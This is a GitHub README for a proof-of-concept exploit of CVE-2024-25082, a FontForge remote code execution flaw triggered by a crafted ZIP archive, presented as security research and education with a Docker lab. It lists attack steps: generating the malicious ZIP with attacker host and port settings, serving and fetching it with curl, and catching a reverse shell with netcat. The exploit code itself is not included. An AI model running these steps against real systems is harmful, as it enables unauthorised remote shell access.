moamenx8/cve-2024-25082Proof-of-concept exploit for CVE-2024-25082, demonstrating remote code execution in FontForge via crafted ZIP archives. Includes payload generator, Docker lab, and technical writeup for security research and education.
Proof-of-Concept exploit for CVE-2024-25082, a vulnerability affecting FontForge that allows Remote Code Execution (RCE) through a crafted ZIP archive.
This repository demonstrates how the vulnerability can be exploited in a controlled lab environment for security research and educational purposes.
The vulnerability occurs due to improper validation of files inside ZIP archives, allowing an attacker to execute arbitrary commands on the target system.
CVE-2024-25082-FontForge-ZIP-RCE/
├── README.md
├── exploit.py
├── poc/
│ └── exploit.zip
├── writeup.md
└── License
File Description
exploit.py Generates the malicious ZIP payload poc/ Contains generated proof-of-concept files writeup.md Technical explanation of the vulnerability
Install optional tools:
sudo apt install netcat
python3 exploit.py --lhost <Your IP> --lport <Your Port>
This will generate a malicious exploit.zip file.
python3 -m http.server 8080
curl http://<Your IP>:8080/exploit.zip -o /path/to/upload/directory/exploit.zip
nc -lvnp <Your Port>
If successful, a shell should be obtained from the target system.
A reproducible vulnerable environment is provided inside the docker/
directory.
Example:
cd docker/vulnerable_env
docker build -t fontforge-vuln .
docker run -p 8080:80 fontforge-vuln
This allows safe testing without affecting production systems.
An attacker able to upload or control ZIP files processed by the vulnerable application may:
Recommended mitigation steps:
This repository contains Proof-of-Concept code for a publicly disclosed vulnerability.
The code is provided strictly for:
Do NOT use this code against systems without explicit permission.
The author assumes no responsibility for misuse or damage caused by this software.
Moamen Elmaghrabi
Cybersecurity Student
Penetration Testing & Exploit Development
This project is licensed under the MIT License.
See the LICENSE file for details.